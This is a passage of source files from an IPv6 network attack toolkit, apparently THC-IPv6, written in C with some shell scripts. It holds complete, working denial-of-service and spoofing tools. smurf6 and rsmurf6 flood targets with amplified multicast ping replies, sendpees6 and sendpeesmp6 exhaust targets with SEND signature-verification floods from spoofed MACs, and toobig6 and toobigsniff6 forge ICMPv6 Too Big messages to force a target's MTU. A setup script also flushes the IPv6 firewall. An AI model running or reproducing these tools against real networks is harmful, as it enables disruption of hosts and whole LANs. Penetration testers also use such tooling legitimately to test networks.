thc_get_own_ipv6(interface, NULL, PREFER_LINK); 121 | 122 | /* Spoof source mac */ 123 | if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == 124 | NULL) { 125 | fprintf(stderr, 126 | "Error: could not get own IP address to contact original-router\n"); 127 | exit(-1); 128 | } 129 | if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) { 130 | fprintf(stderr, 131 | "Error: could not resolve mac address for original-router\n"); 132 | free(self6); 133 | exit(-1); 134 | } 135 | 136 | mac6 = mac; 137 | if (argc >= 7) 138 | sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], 139 | (unsigned int *)&mac[1], (unsigned int *)&mac[2], 140 | (unsigned int *)&mac[3], (unsigned int *)&mac[4], 141 | (unsigned int *)&mac[5]); 142 | else 143 | mac6 = thc_get_own_mac(interface); 144 | realownmac = thc_get_own_mac(interface); 145 | 146 | if (src6 != NULL) { 147 | strcat(string, " and src "); 148 | strcat(string, thc_ipv62notation(src6)); 149 | } 150 | if (dest6 != NULL) { 151 | strcat(string, " and dst "); 152 | strcat(string, thc_ipv62notation(dest6)); 153 | } 154 | 155 | printf( 156 | "Starting sniffer to get traffic to be redirected (press Control-C to " 157 | "end) ...\n"); 158 | return thc_pcap_function(interface, string, (char *)intercept, 1, NULL); 159 | } 160 | -------------------------------------------------------------------------------- /rsmurf6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s interface victim-ip\n\n", prg); 16 | printf("Smurfs the local network of the victim. Note: this depends on an\n"); 17 | printf("implementation error, currently only verified on Linux.\n"); 18 | printf("Evil: \"ff02::1\" as victim will DOS your local LAN completely\n"); 19 | // printf("Use -r to use raw mode.\n\n"); 20 | exit(-1); 21 | } 22 | 23 | int main(int argc, char *argv[]) { 24 | unsigned char *pkt = NULL, buf[16], fakemac[7] = "\x00\x00\xde\xad\xbe\xef"; 25 | unsigned char *multicast6, *victim6; 26 | int pkt_len = 0; 27 | char * interface; 28 | int rawmode = 0; 29 | 30 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 31 | 32 | if (strcmp(argv[1], "-r") == 0) { 33 | thc_ipv6_rawmode(1); 34 | rawmode = 1; 35 | argv++; 36 | argc--; 37 | } 38 | 39 | interface = argv[1]; 40 | victim6 = thc_resolve6(argv[2]); 41 | multicast6 = thc_resolve6("ff02::1"); 42 | if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { 43 | fprintf(stderr, "Error: invalid interface %s\n", interface); 44 | exit(-1); 45 | } 46 | 47 | memset(buf, 'A', 16); 48 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, 49 | multicast6, victim6, 0, 0, 0, 0, 0)) == 50 | NULL) 51 | return -1; 52 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, 53 | (unsigned char *)&buf, 16, 0) < 0) 54 | return -1; 55 | if (thc_generate_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { 56 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 57 | exit(-1); 58 | } 59 | 60 | printf("Starting rsmurf6 against %s (Press Control-C to end) ...\n", argv[2]); 61 | while (1) 62 | thc_send_pkt(interface, pkt, &pkt_len); 63 | 64 | return 0; 65 | } 66 | -------------------------------------------------------------------------------- /sendpees6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #ifndef _HAVE_SSL 5 | 6 | int main() { 7 | fprintf(stderr, 8 | "Error: thc-ipv6 was compiled without openssl support, sendpees6 " 9 | "disabled.\n"); 10 | return -1; 11 | } 12 | 13 | #else 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include "thc-ipv6.h" 21 | 22 | int main(int argc, char **argv) { 23 | thc_cga_hdr * cga_opt; 24 | thc_key_t * key; 25 | struct in6_addr addr6; 26 | unsigned char * pkt = NULL; 27 | unsigned char * dst6, *cga, *dev; 28 | char dummy[24], prefix[8], addr[50]; 29 | char dsthw[] = "\xff\xff\xff\xff\xff\xff"; 30 | char srchw[] = "\xdd\xde\xad\xbe\xef\xff"; 31 | int pkt_len = 0; 32 | 33 | if (argc != 5) { 34 | printf("sendpees6 by willdamn \n\n"); 35 | printf("Syntax: %s interface key_length prefix victim\n\n", argv[0]); 36 | printf( 37 | "Send SEND neighbor solicitation messages and make target to verify a " 38 | "lota CGA and RSA signatures\n\n"); 39 | exit(1); 40 | } 41 | 42 | dev = argv[1]; 43 | if (thc_get_own_ipv6(dev, NULL, PREFER_LINK) == NULL) { 44 | fprintf(stderr, "Error: invalid interface %s\n", dev); 45 | exit(-1); 46 | } 47 | 48 | memcpy(addr, argv[3], 50); 49 | inet_pton(PF_INET6, addr, &addr6); 50 | memcpy(prefix, &addr6, 8); 51 | 52 | key = thc_generate_key(atoi(argv[2])); 53 | if (key == NULL) { 54 | printf("Couldn't generate key!"); 55 | exit(1); 56 | } 57 | cga_opt = thc_generate_cga(prefix, key, &cga); 58 | if (cga_opt == NULL) { 59 | printf("Error during CGA generation"); 60 | exit(1); 61 | } 62 | 63 | dst6 = thc_resolve6(argv[4]); 64 | 65 | memset(dummy, 'X', sizeof(dummy)); 66 | dummy[16] = 1; 67 | dummy[17] = 1; 68 | memcpy(dummy, dst6, 16); 69 | 70 | if ((pkt = thc_create_ipv6_extended(dev, PREFER_GLOBAL, &pkt_len, cga, dst6, 71 | 0, 0, 0, 0, 0)) == NULL) { 72 | printf("Cannot create IPv6 header\n"); 73 | exit(1); 74 | } 75 | if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0xfacebabe, 0x0, dummy, 24, 76 | cga_opt, key, NULL, 0) < 0) { 77 | printf("Cannot add SEND options\n"); 78 | exit(1); 79 | } 80 | free(cga_opt); 81 | 82 | if (thc_generate_pkt(dev, srchw, dsthw, pkt, &pkt_len) < 0) { 83 | fprintf(stderr, "Couldn't generate IPv6 packet!\n"); 84 | exit(1); 85 | } 86 | 87 | printf("Sending..."); 88 | fflush(stdout); 89 | while (1) 90 | thc_send_pkt(dev, pkt, &pkt_len); 91 | 92 | return 0; 93 | } 94 | #endif -------------------------------------------------------------------------------- /sendpeesmp6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #ifndef _HAVE_SSL 7 | 8 | int main() { 9 | fprintf(stderr, 10 | "Error: thc-ipv6 was compiled without openssl support, sendpeesmp6 " 11 | "disabled.\n"); 12 | return -1; 13 | } 14 | 15 | #else 16 | 17 | #include 18 | #include 19 | #include "thc-ipv6.h" 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #define HIGH 255 26 | #define LOW 0 27 | #define THREAD_NUM 150 28 | 29 | /* data structure to hold data to pass to a thread 30 | (later converted to processes) */ 31 | struct thread_data { 32 | int thread_id; 33 | unsigned char *dev; 34 | unsigned char srchw[6]; 35 | unsigned char dsthw[6]; 36 | unsigned char *pkt; 37 | int pkt_len; 38 | }; 39 | 40 | /* array of these thread data structs */ 41 | struct thread_data thread_data_array[THREAD_NUM]; 42 | 43 | /* main function */ 44 | int main(int argc, char **argv) { 45 | thc_cga_hdr * cga_opt; /* CGA header */ 46 | thc_key_t * key; /* public key */ 47 | unsigned char *pkt = NULL; /* generic packet space */ 48 | unsigned char *dst6, *cga, *dev; /* IPv6 addrs */ 49 | 50 | /* various parts of packets, temporaries */ 51 | char advdummy[16], soldummy[24], prefix[8], *addr; 52 | 53 | /* MAC addresses for testing, attacking */ 54 | // unsigned char dsthw[] = "\xff\xff\xff\xff\xff\xff"; 55 | // unsigned char tgthw[] = "\x00\x1a\xa0\x41\xf0\x2d"; /*real attack mac */ 56 | unsigned char *tgthw; 57 | 58 | // unsigned char srchw[] = "\xdd\xde\xad\xbe\xef\xdd"; 59 | // unsigned char srchwreal[] = "\x00\x11\x11\x32\xb2\x84"; 60 | // unsigned char tag[] = 61 | // "\xdd\xde\xad\xbe\xef\xdd\xdd\xde\xad\xbe\xef\xdd\xbe\xef\xaa\xaa"; 62 | int pkt_len = 0; /* packet length */ 63 | int flags = 0; /* ICMPv6 flags */ 64 | 65 | // thc_ipv6_rawmode(0); /* generate my own MAC addresses */ 66 | FILE * fp; /* file pointer for reading from /dev/urandom */ 67 | unsigned char test[6]; /* randomized mac storage */ 68 | int result = 0, pid, status, i; /* exit codes */ 69 | int count = 1000000000; 70 | 71 | if (argc != 5) { 72 | printf("original sendpees by willdamn \n"); 73 | printf( 74 | "modified sendpeesMP by Marcin Pohl \nCode based " 75 | "on thc-ipv6\n\n"); 76 | printf("Syntax: %s interface key_length prefix victim\n\n", argv[0]); 77 | printf( 78 | "Send SEND neighbor solicitation messages and make target to verify a " 79 | "lota CGA and RSA signatures\n"); 80 | printf("Example: %s eth0 2048 fe80:: fe80::1\n\n", argv[0]); 81 | exit(1); 82 | } 83 | 84 | memset(&test, 0, 6); /* set 6 bytes to zero */ 85 | fp = fopen("/dev/urandom", "r"); /* set FP to /dev/urandom */ 86 | dev = argv[1]; /* read interface from commandline */ 87 | if ((addr = thc_resolve6(argv[3])) == NULL) { 88 | fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", 89 | argv[3]); 90 | exit(-1); 91 | } 92 | if (thc_get_own_ipv6(dev, NULL, PREFER_LINK) == NULL) { 93 | fprintf(stderr, "Error: invalid interface %s\n", dev); 94 | exit(-1); 95 | } 96 | 97 | memcpy(prefix, addr, 8); /* first 8 bytes of sockaddr is prefix */ 98 | key = thc_generate_key(atoi(argv[2])); /* EXPENSIVE KEYGEN HERE! */ 99 | if (key == NULL) { 100 | printf("Couldn't generate key!"); 101 | exit(1); 102 | } 103 | 104 | /*makes options and the address*/ 105 | cga_opt = thc_generate_cga(prefix, key, &cga); 106 | 107 | /* cga = thc_resolve6("::"); */ 108 | if (cga_opt == NULL) { 109 | printf("Error during CGA generation"); 110 | exit(1); 111 | } 112 | 113 | /* ICMP6 TARGET, IPDST */ 114 | if (argv[4] == NULL) 115 | dst6 = thc_resolve6("ff02::1"); 116 | else 117 | dst6 = thc_resolve6(argv[4]); 118 | 119 | tgthw = thc_get_mac(dev, cga, dst6); 120 | 121 | test[0] = 0; /* set MAC to intel */ 122 | test[1] = 170; /* set MAC to intel */ 123 | test[2] = 0; /* set MAC to intel */ 124 | 125 | /* set ICMP OPTION SLLA HERE */ 126 | memset(advdummy, 'D', sizeof(advdummy)); 127 | memset(soldummy, 'D', sizeof(soldummy)); 128 | 129 | /* set destination IP here */ 130 | memcpy(advdummy, dst6, 16); /*dstIP */ 131 | memcpy(soldummy, dst6, 16); /*dstIP */ 132 | 133 | /* fixed values for NS */ 134 | soldummy[16] = 1; 135 | soldummy[17] = 1; 136 | memcpy(&soldummy[18], test, 6); /* SLLA OPTION */ 137 | 138 | /* ND flags */ 139 | flags = ICMP6_NEIGHBORADV_OVERRIDE; 140 | 141 | /* the forking starts here */ 142 | for (i = 0; i < THREAD_NUM; ++i) { 143 | pid = fork(); 144 | if (pid == 0) { 145 | printf("Creating thread %d\n", i); 146 | 147 | /*randomize MAC here*/ 148 | result = fread((char *)&test[3], 1, 3, fp); 149 | 150 | /* create IPv6 portion */ 151 | if ((pkt = thc_create_ipv6_extended(dev, PREFER_LINK, &pkt_len, cga, dst6, 152 | 0, 0, 0, 0, 0)) == NULL) { 153 | printf("Cannot create IPv6 header\n"); 154 | exit(1); 155 | } 156 | 157 | /* create ICMPv6 with SeND options */ 158 | if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0x0, flags, soldummy, 159 | 24, cga_opt, key, NULL, 0) < 0) { 160 | printf("Cannot add SEND options\n"); 161 | exit(1); 162 | } 163 | free(cga_opt); 164 | 165 | /* attach the IPv6+ICMPv6+SeND to an Ethernet frame with random MAC */ 166 | if ((result = thc_generate_pkt(dev, test, tgthw, pkt, &pkt_len)) < 0) { 167 | fprintf(stderr, "Couldn't generate IPv6 packet, error num %d !\n", 168 | result); 169 | exit(1); 170 | } 171 | 172 | printf("Sending %d...", i); 173 | fflush(stdout); 174 | while (count) { 175 | /* send many packets */ 176 | thc_send_pkt(dev, pkt, &pkt_len); 177 | --count; 178 | } 179 | exit(1); 180 | } 181 | } 182 | wait(&status); 183 | 184 | return 0; 185 | } 186 | #endif -------------------------------------------------------------------------------- /six2four.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | test -z "$1" -o "$1" = "-h" -o -z "$4" && { 4 | echo "Syntax: $0 [-s src4] interface ipv4-to-6-gw ipv6src ipv6dst [port]" 5 | echo 6 | echo "Options:" 7 | echo " -s src4 spoofs the specified IPv4 source ddress" 8 | echo 9 | echo "Send an IPv6 packet to an IPv4 6to4 gateway. If a port is specified, a UDP" 10 | echo "packet is sent, otherwise an ICMPv6 ping." 11 | echo "Note: the packet is sent to the IPv4 default gateway!" 12 | exit 1 13 | } 14 | 15 | SRC4= 16 | test "$1" = "-s" && { shift ; SRC4=$1 ; shift ; } 17 | test -z "$4" && SRC4=`ifconfig $1 | grep "inet addr:" | awk -F: '{print$2}' | sed 's/ .*//'` 18 | 19 | MAC4=`ifconfig $1 | grep "^$1" | sed 's/.*HWaddr //i' | tr -d ' \t'` 20 | 21 | DST4=$2 22 | ROUTER4=`ip -4 route show | grep $1 | grep via | grep default | awk '{print$3}'` 23 | MAD4=`arp -a -v -n | grep "($ROUTER4)" | awk '{print$4}'` 24 | 25 | PORT= 26 | test -n "$5" && PORT="-U $5" 27 | 28 | echo export THC_IPV6_6IN4=$MAC4,$MAD4,$SRC4,$DST4 29 | echo thcping6 $PORT $1 $3 $4 30 | -------------------------------------------------------------------------------- /smurf6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2013 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf( 16 | "Syntax: %s [-i microseconds] interface victim-ip " 17 | "[multicast-network-address]\n\n", 18 | prg); 19 | printf( 20 | "Smurf the target with icmp echo replies. Target of echo request is " 21 | "the\n"); 22 | printf("local all-nodes multicast address if not specified\n"); 23 | // printf("Use -r to use raw mode.\n\n"); 24 | exit(-1); 25 | } 26 | 27 | int main(int argc, char *argv[]) { 28 | unsigned char *pkt = NULL, buf[16], fakemac[7] = "\x00\x00\xde\xad\xbe\xef"; 29 | unsigned char *multicast6, *victim6; 30 | int i, pkt_len = 0, msec = 0; 31 | char * interface; 32 | int rawmode = 0; 33 | 34 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 35 | 36 | // if (strcmp(argv[1], "-r") == 0) { 37 | // thc_ipv6_rawmode(1); 38 | // rawmode = 1; 39 | // argv++; 40 | // argc--; 41 | // } 42 | 43 | while ((i = getopt(argc, argv, "i:")) >= 0) { 44 | switch (i) { 45 | case 'i': 46 | msec = atoi(optarg); 47 | break; 48 | default: 49 | fprintf(stderr, "Error: unknown option -%c\n", i); 50 | exit(-1); 51 | } 52 | } 53 | 54 | interface = argv[optind]; 55 | if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { 56 | fprintf(stderr, "Error: invalid interface %s\n", interface); 57 | exit(-1); 58 | } 59 | victim6 = thc_resolve6(argv[optind + 1]); 60 | if (argv[optind + 2] != NULL) 61 | multicast6 = thc_resolve6(argv[optind + 2]); 62 | else 63 | multicast6 = thc_resolve6("ff02::1"); 64 | 65 | memset(buf, 'A', 16); 66 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, 67 | victim6, multicast6, 0, 0, 0, 0, 0)) == 68 | NULL) 69 | return -1; 70 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, 71 | (unsigned char *)&buf, 16, 0) < 0) 72 | return -1; 73 | if (thc_generate_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { 74 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 75 | exit(-1); 76 | } 77 | 78 | printf("Starting smurf6 attack against %s (Press Control-C to end) ...\n", 79 | argv[optind + 1]); 80 | while (1) { 81 | thc_send_pkt(interface, pkt, &pkt_len); 82 | if (msec != 0) usleep(msec); 83 | } 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /thc-ipv6-setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ON=1 3 | OK="" 4 | 5 | test "$1" = "on" && { shift ; } 6 | test "$1" = "enable" && { shift ; } 7 | test "$1" = "en" && { shift ; } 8 | test "$1" = "ea" && { shift ; } 9 | 10 | test "$1" = "off" && { ON=0 ; shift ; } 11 | test "$1" = "no" && { ON=0 ; shift ; } 12 | test "$1" = "non" && { ON=0 ; shift ; } 13 | test "$1" = "disable" && { ON=0 ; shift ; } 14 | test "$1" = "dis" && { ON=0 ; shift ; } 15 | 16 | test "$2" = "off" && { ON=0 ; shift ; } 17 | test "$2" = "no" && { ON=0 ; shift ; } 18 | test "$2" = "non" && { ON=0 ; shift ; } 19 | test "$2" = "disable" && { ON=0 ; shift ; } 20 | test "$2" = "dis" && { ON=0 ; shift ; } 21 | 22 | test "$1" = "-h" -o "$1" = "help" -o "$1" = "--help" -o -z "$1" && { 23 | echo "Syntax: $0 [no] command [options]" 24 | echo 25 | echo Available commands: 26 | echo "" ipv6 - enable ipv6 "(option: interface)" 27 | echo "" ra - "enables everything router advertisement (RA) (option: interface)" 28 | echo "" autoconf - perform autoconfiguration "(option: interface)" 29 | echo "" route - enables default route on RA "(option: interface)" 30 | echo "" dad - enable duplicate address detection "(option: interface)" 31 | echo "" privacy - enable the temporary address privacy extension "(option: interface)" 32 | echo "" forward - enables or disables forwarding 33 | echo "" redirfilter - sets ip6table to prevent sedning redirects "(option: interface)" 34 | echo "" src - enables or disables source routing and routing 35 | echo "" fwreset - reset the ipv6 firewalls 36 | echo 37 | echo prepend the keyword \"no\" to use reverse the function of the command 38 | OK=1 39 | } 40 | 41 | test "$1" = "srcroute" -o "$1" = "sourceroute" -o "$1" = "src" && { 42 | for i in /proc/sys/net/ipv6/conf/*; do 43 | echo $ON > $i/accept_source_route 44 | echo $ON > $i/forwarding 45 | done 46 | OK=1 47 | } 48 | 49 | test "$1" = "route" -o "$1" = "routing" -o "$1" = "forward" -o "$1" = "forwarding" && { 50 | for i in /proc/sys/net/ipv6/conf/*; do 51 | echo $ON > $i/forwarding 52 | done 53 | OK=1 54 | } 55 | 56 | test "$1" = "dad" && { 57 | INT=$2 58 | test -z "$2" && INT=all 59 | echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_dad 60 | echo $ON > /proc/sys/net/ipv6/conf/$INT/dad_transmits 61 | OK=1 62 | } 63 | 64 | test "$1" = "redirfilter" -o "$1" = "redir" && { 65 | INT="" 66 | test -n "$2" && INT="-o $2" 67 | ip6tables -I OUTPUT $INT -p icmpv6 --icmpv6-type redirect -j DROP 68 | OK=1 69 | } 70 | 71 | test "$1" = "autoconf" -o "$1" = "autoconfig" -o "$1" = "autoconfiguration" -o "$1" = "slaac" && { 72 | INT=$2 73 | test -z "$2" && INT=all 74 | echo $ON > /proc/sys/net/ipv6/conf/$INT/autoconf 75 | OK=1 76 | } 77 | 78 | test "$1" = "privacy" -o "$1" = "priv" -o "$1" = "tempaddr" -o "$1" = "tempaddress" && { 79 | INT=$2 80 | test -z "$2" && INT=all 81 | echo $ON > /proc/sys/net/ipv6/conf/$INT/use_tempaddr 82 | OK=1 83 | } 84 | 85 | test "$1" = "firewall" -o "$1" = "fwreset" -o "$1" = "resetfw" && { 86 | ip6tables -F 87 | ip6tables -X 88 | ip6tables -Z 89 | ip6tables -P INPUT ACCEPT 90 | ip6tables -P FORWARD ACCEPT 91 | ip6tables -P OUTPUT ACCEPT 92 | OK=1 93 | } 94 | 95 | test "$1" = "route" -o "$1" = "routes" && { 96 | INT=$2 97 | test -z "$2" && INT=all 98 | echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra_defrtr 99 | OK=1 100 | } 101 | 102 | test "$1" = "ra" && { 103 | INT=$2 104 | test -z "$2" && INT=all 105 | echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra 106 | echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra_defrtr 107 | echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra_pinfo 108 | echo $ON > /proc/sys/net/ipv6/conf/$INT/autoconf 109 | OK=1 110 | } 111 | 112 | test "$1" = "ipv6" -o "$1" = "ip6" && { 113 | INT="$2" 114 | test -z "$2" && { 115 | INT=all 116 | test "$ON" = 0 && modprobe -v ipv6 117 | test "$ON" = 1 && rmmod ipv6 118 | } 119 | test "$ON" = 0 && RON=1 120 | test "$ON" = 1 && RON=0 121 | echo $RON > /proc/sys/net/ipv6/conf/$INT/disable_ipv6 122 | OK=1 123 | } 124 | 125 | test -z "$OK" && { echo Error: unknown command: $1 ; exit 1 ; } 126 | -------------------------------------------------------------------------------- /toobig6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-u] interface target-ip existing-ip mtu [hop-limit]\n\n", 16 | prg); 17 | printf("Implants the specified mtu on the target.\n"); 18 | printf( 19 | "If the TTL of the target is not 64, then specify this as the last " 20 | "option.\n"); 21 | printf( 22 | "Option -u will send the TooBig without the spoofed ping6 from " 23 | "existing-ip.\n"); 24 | // printf("Use -r to use raw mode.\n\n"); 25 | exit(-1); 26 | } 27 | 28 | int main(int argc, char *argv[]) { 29 | unsigned char *pkt = NULL, buf[65536]; 30 | unsigned char *mac6 = NULL, *src6, *target6; 31 | int rmtu, buf_len = 0, ttl = 63, offset = 14; 32 | int pkt_len = 0; 33 | thc_ipv6_hdr * ipv6; 34 | char * interface; 35 | unsigned int mtu, related = 1; 36 | 37 | if (argc > 3 && strncmp(argv[1], "-u", 2) == 0) { 38 | related = 0; 39 | argc--; 40 | argv++; 41 | } 42 | 43 | if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 44 | 45 | interface = argv[1]; 46 | target6 = thc_resolve6(argv[2]); 47 | src6 = thc_resolve6(argv[3]); 48 | mtu = atoi(argv[4]); 49 | rmtu = thc_get_mtu(interface); 50 | 51 | if (do_hdr_size) offset = do_hdr_size; 52 | 53 | if (rmtu < 1280 || rmtu > 65530) { 54 | fprintf(stderr, "Error: mtu size invalid on interface %s\n", interface); 55 | exit(-1); 56 | } 57 | 58 | if (argc > 5) ttl = atoi(argv[5]); 59 | if (ttl < 0 || ttl > 255) ttl = 64; 60 | 61 | mac6 = thc_get_own_mac(interface); 62 | if (mtu > 47) buf_len = mtu - 47; 63 | if (buf_len < 0) buf_len = rmtu - 48 - offset; 64 | 65 | if (rmtu - 48 < buf_len) buf_len = rmtu - 48; 66 | 67 | memset(buf, 'A', sizeof(buf)); 68 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, 69 | target6, 0, 0, 0, 0, 0)) == NULL) 70 | return -1; 71 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, 72 | (unsigned char *)&buf, buf_len, 0) < 0) 73 | return -1; 74 | if (thc_generate_pkt(interface, NULL, NULL, pkt, &pkt_len) < 0) { 75 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 76 | exit(-1); 77 | } 78 | if (related) 79 | if (thc_send_pkt(interface, pkt, &pkt_len) < 0) { 80 | fprintf(stderr, "Error: Can not send packet, exiting ...\n"); 81 | exit(-1); 82 | } 83 | 84 | usleep(50000); 85 | ipv6 = (thc_ipv6_hdr *)pkt; 86 | thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); 87 | ipv6->pkt[offset + 7] = (unsigned char)ttl; 88 | thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6->pkt + offset, 89 | ipv6->pkt_len - offset); 90 | printf("toobig6 attack on %s for target %s and MTU %s sent.\n", argv[2], 91 | argv[3], argv[4]); 92 | 93 | return 0; 94 | } 95 | -------------------------------------------------------------------------------- /toobigsniff6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | unsigned char *mac6, *src6, *interface, *ip6; 14 | unsigned int loop = 0, go = 1, mtu, offset = 14; 15 | 16 | void help(char *prg) { 17 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 18 | printf("Syntax: %s [-c] interface target mtu\n\n", prg); 19 | printf( 20 | "Sniff for packte from target and send an ICMPv6 too big error message " 21 | "based on\n"); 22 | printf( 23 | "that packet with the MTU specified. If you supply a '*' as-address, any " 24 | "global\n"); 25 | printf("traffic sniffed will be used.\n"); 26 | printf( 27 | "If you supply the option -c the tool will not quit upon first packet " 28 | "match, but\ncontinue running and send packets until aborted.\n"); 29 | // printf("Use -r to use raw mode.\n\n"); 30 | exit(-1); 31 | } 32 | 33 | void send_toobig(u_char *foo, const struct pcap_pkthdr *header, 34 | const unsigned char *data) { 35 | unsigned char *ipv6hdr, *target; 36 | int len = header->caplen; 37 | 38 | if (do_hdr_size) { 39 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 40 | len = header->caplen - do_hdr_size; 41 | if ((ipv6hdr[0] & 240) != 0x60) return; 42 | offset = do_hdr_size; 43 | } else { 44 | ipv6hdr = (unsigned char *)(data + offset); 45 | len = header->caplen - offset; 46 | } 47 | 48 | if (ip6 != NULL && memcmp(ip6, ipv6hdr + 8, 16) != 0) // is it the target? 49 | return; 50 | if (ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] < 128) // no ICMP Errors 51 | return; 52 | 53 | thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6hdr, len); 54 | 55 | target = thc_ipv62notation(ipv6hdr + 8); 56 | printf("Sent TooBig packet to %s\n", target); 57 | free(target); 58 | 59 | if (loop == 0) // do we loop? 60 | go = 0; 61 | } 62 | 63 | int main(int argc, char *argv[]) { 64 | char string[] = "ip6 and ! src net f000::/4 and ! dst net f000::/4"; 65 | int rawmode = 0, i; 66 | pcap_t *p; 67 | 68 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 69 | 70 | while ((i = getopt(argc, argv, "cr")) >= 0) { 71 | switch (i) { 72 | case 'r': 73 | thc_ipv6_rawmode(1); 74 | rawmode = 1; 75 | offset = 0; 76 | break; 77 | case 'c': 78 | loop = 1; 79 | break; 80 | default: 81 | fprintf(stderr, "Error: invalid option %c\n", i); 82 | exit(-1); 83 | } 84 | } 85 | 86 | if (argc - optind < 3) help(argv[0]); 87 | 88 | if (do_hdr_size) offset = do_hdr_size; 89 | 90 | interface = argv[optind]; 91 | mac6 = thc_get_own_mac(interface); 92 | src6 = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL); 93 | mtu = atoi(argv[optind + 2]); 94 | 95 | if (src6 == NULL || mac6 == NULL) { 96 | fprintf(stderr, "Error: invalid interface or IPv6 not available: %s\n", 97 | interface); 98 | exit(-1); 99 | } 100 | 101 | if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') { 102 | ip6 = NULL; 103 | } else { 104 | ip6 = thc_resolve6(argv[optind + 1]); 105 | if (ip6 == NULL) { 106 | fprintf(stderr, "Error: target address is invalid: %s\n", 107 | argv[optind + 1]); 108 | exit(-1); 109 | } 110 | } 111 | 112 | if ((p = thc_pcap_init(interface, string)) == NULL) { 113 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 114 | interface, string); 115 | exit(-1); 116 | } 117 | 118 | printf("Watching for %s from %s (Press Control-C to end) ...\n", 119 | loop == 0 ? "a packet" : "packets", argv[optind + 1]); 120 | 121 | do { 122 | thc_pcap_check(p, (char *)send_toobig, NULL); 123 | usleep(25); 124 | } while (go); 125 | 126 | thc_pcap_close(p); 127 | return 0; 128 | } 129 | -------------------------------------------------------------------------------- /trace62list.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | REMOVE="tr X X" 4 | test "$1" = "-r" && { REMOVE='grep -v "?"' ; shift ; } 5 | 6 | test -z "$1" -o '!' -e "$1" && { 7 | echo "Syntax: $0 trace6_output_file [skip-cnt] > foo.out" 8 | echo "Prepares a trace6 output file for the network topology map generation tool" 9 | echo "(create_network_map.sh). If skip-cnt is defined, the amount of initial hops are skipped" 10 | # echo "If the -r option is defined, all ??? entries are removed" 11 | exit 1 12 | } 13 | 14 | SKIP="" 15 | FILE="$1" 16 | test -n "$2" && SKIP=$2 17 | 18 | { 19 | test -z "$SKIP" && grep -E '^ *[0-9]+: ' "$FILE" 20 | test -z "$SKIP" || { 21 | LINES=`grep -E '^ *[0-9]+: ' "$FILE" | wc -l` 22 | DUMP=`expr $LINES - $SKIP` 23 | test "$DUMP" -gt 0 && grep -E '^ *[0-9]+: ' "$FILE" | tail -n $DUMP 24 | } 25 | 26 | } | tr '\t' ' ' | 